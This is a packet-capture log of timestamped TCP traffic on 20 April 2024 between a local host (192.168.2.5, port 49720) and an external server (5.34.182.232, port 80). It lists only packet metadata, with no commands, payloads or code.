Apr 20, 2024 10:23:57.886818886 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886848927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886852980 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886885881 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886893034 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886923075 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886928082 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.886962891 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.886965990 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887001038 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887002945 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887037992 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887042999 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887073994 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887083054 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887110949 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887119055 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887147903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887156010 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887185097 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887191057 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887223005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887224913 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887259960 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887267113 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887295008 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887300968 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887334108 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887336969 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887371063 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887401104 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887408018 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887423992 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887443066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887450933 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887486935 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887497902 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887523890 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887530088 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887562037 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887567997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887600899 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887608051 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887636900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887644053 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887676001 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887679100 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887712002 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887721062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887748957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887753963 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887787104 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887794018 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887823105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887829065 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887864113 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887872934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887901068 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887907982 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887937069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887942076 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.887974977 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.887984037 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888011932 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888017893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888048887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888055086 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888084888 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888091087 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888138056 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888154984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888190985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888195038 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888226032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888228893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888262987 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888279915 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888299942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888303041 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888336897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888345957 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888375044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888380051 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888411045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888428926 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888448954 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888452053 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888488054 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888494968 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888526917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888530970 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888565063 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888571024 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888602972 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888608932 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888641119 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888649940 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888679028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888683081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888716936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888720036 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888752937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888765097 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888791084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888796091 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888828039 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888832092 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888865948 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888873100 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888902903 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888907909 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888941050 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888942003 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.888978958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.888991117 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889017105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889023066 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889054060 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889055967 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889090061 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889095068 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889127016 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889127970 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889163971 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889178038 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889200926 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889202118 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889236927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889241934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889275074 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889281034 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889312029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889324903 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889348984 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889354944 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889386892 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.889394999 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.889429092 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:57.915936947 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:57.916021109 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.124326944 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124389887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124427080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124463081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124499083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124536991 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124558926 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.124703884 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.124789953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124845028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124845982 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.124885082 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124922991 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.124928951 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.124959946 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.124980927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125016928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125036001 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.125053883 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125102997 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.125125885 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125161886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125197887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125211954 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.125235081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125272036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125283003 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.125627041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125677109 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.125699043 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125736952 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125773907 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125786066 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.125809908 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125847101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.125855923 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126332045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126369953 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126385927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126408100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126445055 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126455069 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126482010 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126518965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126529932 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126605034 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126643896 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126657963 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126679897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126717091 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126729965 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126754045 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126791000 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126801014 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126827955 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126863956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126876116 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126900911 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126938105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.126950979 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.126979113 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127016068 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127026081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127052069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127089024 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127104998 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127127886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127165079 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127176046 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127202034 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127250910 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127305031 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127341032 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127377033 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127388000 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127414942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127450943 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127463102 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127489090 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127523899 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127535105 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127562046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127612114 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127662897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127793074 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127830982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127840996 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127866983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127904892 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127913952 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.127940893 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127976894 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.127989054 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128014088 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128048897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128063917 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128086090 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128132105 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128146887 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128184080 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128220081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128232002 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128257036 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128293991 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128307104 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128329992 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128366947 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128380060 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128402948 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128438950 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128448963 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128474951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128510952 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128521919 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128547907 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128583908 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128597975 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128623009 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128659964 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128670931 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128695965 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128731966 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128745079 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128767967 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128803015 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128817081 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128839970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128876925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128890038 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128915071 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128951073 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.128962040 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.128988981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129025936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129038095 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129066944 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129103899 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129113913 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129139900 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129175901 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129187107 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129213095 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129249096 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129259109 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129285097 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129319906 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129334927 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129357100 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129391909 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129405975 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129429102 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129467964 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129487991 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129503012 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129539013 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129549980 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.129582882 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129623890 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.129637003 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.151233912 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.151299000 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359432936 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359496117 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359534979 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359548092 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359580994 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359625101 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359627008 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359664917 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359702110 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359709978 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359741926 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359778881 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359797001 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359817028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359854937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359858990 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359893084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.359935045 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.359991074 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360028982 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360065937 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360078096 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.360141993 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360178947 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360188961 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.360218048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360255957 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360268116 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.360294104 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360330105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:58.360337973 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:58.360368013 CEST	80	49720	5.34.182.232	192.168.2.5
